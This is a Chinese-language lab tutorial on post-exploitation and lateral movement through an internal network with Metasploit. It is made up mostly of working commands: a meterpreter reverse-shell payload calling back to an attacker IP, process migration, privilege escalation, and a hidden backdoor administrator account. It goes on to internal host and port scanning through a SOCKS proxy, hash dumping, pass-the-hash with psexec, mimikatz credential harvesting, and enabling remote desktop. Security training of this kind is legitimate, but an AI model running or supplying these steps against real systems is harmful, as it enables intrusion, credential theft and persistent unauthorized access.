一、网络拓扑图

假如我们拿到了一台主机比如Win2008的shell,如何通过该主机进行内网渗透,拿到比如下图中数据服务器的最高权限?

img

二、Win2008主机上线

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.6 lport=4444 -f exe > /var/www/html/w01ke.exe
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.196
ser lport 4444
exploit

img

三、简单信息收集

信息收集之前可以输入help了解一下meterpreter下的命令,其中有信息收集,提权等多个模块,自行了解

(1)查看目标主机当前用户与权限

meterpreter > getuid

img

(2)查看目标主机系统相关信息

meterpreter> sysinfo

img

(3)查看目标主机路由表

meterpreter > route

img

(4)查看目标主机运行进程

meterpreter> ps

img

四、迁移/注入进程

我们的木马w01ke.exe如果我们退出了shell会话或者对方关机,我们都会丢失对目标主机Win2008的控制,我们可以将进程注入到目标主机Win2008的常用进程,这样每次目标主机Win2008启动了被注入的服务进程,我们的木马也会上线

这里我们选择注入到explorer.exe,通过上面的信息收集可以知道进程explorer.exe的PID为1560,w01ke.exe的PID为2016

img

img

使用以下命令进行迁移

meterpreter> migrate 1560

img

此时再次查看目标主机进程,已经没有w01ke.exe了

img

五、提权

meterpreter> getuid      查看当前用户
meterpreter> getprivs 尽可能提升权限
meterpreter> getsystem 通过各种攻击向量来提升系统用户权限

img

六、持久后门:添加隐藏用户

meterpreter > shell 
C:\Windows\system32>net user test$ 123456 /add & net localgroup administrators test$ /add

七、扫描内网存活主机

meterpreter> info post/multi/gather/ping_sweep
meterpreter> run post/multi/gather/ping_sweep rhosts=10.10.10.1-10.10.10.5
meterpreter> run post/multi/gather/ping_sweep rhosts=10.10.10.0/24

这个模块会尝试ping内网的主机,如果有回包,说明该主机存活

img

meterpreter> info post/windows/gather/arp_scanner
meterpreter> run post/windows/gather/arp_scanner rhosts=10.10.10.1-10.10.10.5
meterpreter> run post/windows/gather/arp_scanner rhosts=10.10.10.0/24

这个模块会尝试发送arp包,如果有回包,说明该主机存活

img

八、添加内网路由

meterpreter> run autoroute -s 10.10.10.0/24
meterpreter> run autoroute -p
或者
meterpreter> run post/multi/manage/autoroute

img

九、扫描内网主机开放的端口

通过MSF SOCKS代理模块,用nmap扫描内网主机开放的端口

(1)配置SOCKS代理

meterpreter> background
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set srvhost 192.168.1.8(Win2008的IP)
msf6 auxiliary(server/socks_proxy) > exploit -j

img

修改proxychains配置

vim /etc/proxychains4.conf

img

(2)使用nmap进行扫描

proxychains nmap -sT -Pn -sV -p 22,80,445,3306 	10.10.10.128-129 --open -oN 10.10.10.0.txt

img

看到数据服务器10.10.10.128开启了445端口,那么就可以考虑Hash传递攻击(直接使用密文登录)

img

十、攻击内网主机

看到数据服务器10.10.10.128开启了445端口,那么就可以考虑Hash传递攻击(直接使用密文登录)

(1)提取Win2008的密码Hash

meterpreter> hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

以aad3b435开头的哈希值是一个空的或不存在的哈希值(空字串的占位符)

windows系统存储哈希值的方式一般为LAN Manager(LM)、NT LAN Manager(NTLM),或NT LAN Manager v2(NTLMv2)。

在LM存储方式中,当用户首次输入密码或更改密码的时候,密码被转换为哈希值,由于哈希长度的限制,将密码切分为7个字符一组的哈希值。以password123456的密码为例,哈希值以passwor和d123456的方式存储,所以攻击者只需要简单地破解7个字符一组的密码,而不是原始的4个字符。而NTLM的存储方式跟密码长度无关,密码password123456将作为整体转换为哈希值存储。

而上面aad3b435b51404eeaad3b435b51404ee是LM哈希,afffeba176210fad4628f0524bfe1942是NTLM哈希

(2)配置SMB攻击模块,传递哈希

msf6 auxiliary(server/socks_proxy) > use exploit/windows/smb/psexec

msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcp
这里不能用reverse_tcp了因为这是内网环境了没办法弹回我们外网的kali来(除非做了隧道),因此我们使用正向连接

msf6 exploit(windows/smb/psexec) > set rhosts 10.10.10.128

msf6 exploit(windows/smb/psexec) > set smbuser Administrator
这里的smbuser设置为Administrator是因为上一步获取hash时得到了Administrator

msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942

msf6 exploit(windows/smb/psexec) > exploit

由于数据服务器Win7的Administrator账户已被禁用,因此报错了

img

为了实验顺利进行,取消禁用

img

再次exploit,成功控制数据服务器Win7

img

(3)利用 kiwi(mimikatz) 进行信息收集

meterpreter > load kiwi
Kiwi Commands
=============

Command Description
------- -----------
creds_all Retrieve all credentials (parsed)
creds_kerberos Retrieve Kerberos creds (parsed)
creds_livessp Retrieve Live SSP creds
creds_msv Retrieve LM/NTLM creds (parsed)
creds_ssp Retrieve SSP creds
creds_tspkg Retrieve TsPkg creds (parsed)
creds_wdigest Retrieve WDigest creds (parsed)
dcsync Retrieve user account information via DCSync (unparsed)
dcsync_ntlm Retrieve user account NTLM hash, SID and RID via DCSync
golden_ticket_create Create a golden kerberos ticket
kerberos_ticket_list List all kerberos tickets (unparsed)
kerberos_ticket_purge Purge any in-use kerberos tickets
kerberos_ticket_use Use a kerberos ticket
kiwi_cmd Execute an arbitary mimikatz command (unparsed)
lsa_dump_sam Dump LSA SAM (unparsed) 查看目标系统的 SAMdump:
lsa_dump_secrets Dump LSA secrets (unparsed) 查看目标系统的密码
password_change Change the password/hash of a user
wifi_list List wifi profiles/creds for the current user
wifi_list_shared List shared wifi profiles/creds (requires SYSTEM)

可以看到明文密码123456(如果没有明文可以尝试暴力破解)

img

(4)开启远程桌面

Usage: run getgui -u <username> -p <password>
Or: run getgui -e

OPTIONS:

-e Enable RDP only.
-f <opt> Forward RDP Connection.
-h Help menu.
-p <opt> The Password of the user to add.
-u <opt> The Username of the user to add.

开启远程桌面服务

img

(5)远程连接

① 使用之前部署好的proxychains

proxychains rdesktop -u Administrator -p 123.com 10.10.10.128:3389

img

② 使用端口转发

meterpreter > portfwd add -l 13389 -p 3389 -r 10.10.10.128
rdesktop -u Administrator -p 123.com 127.0.0.1:13389

img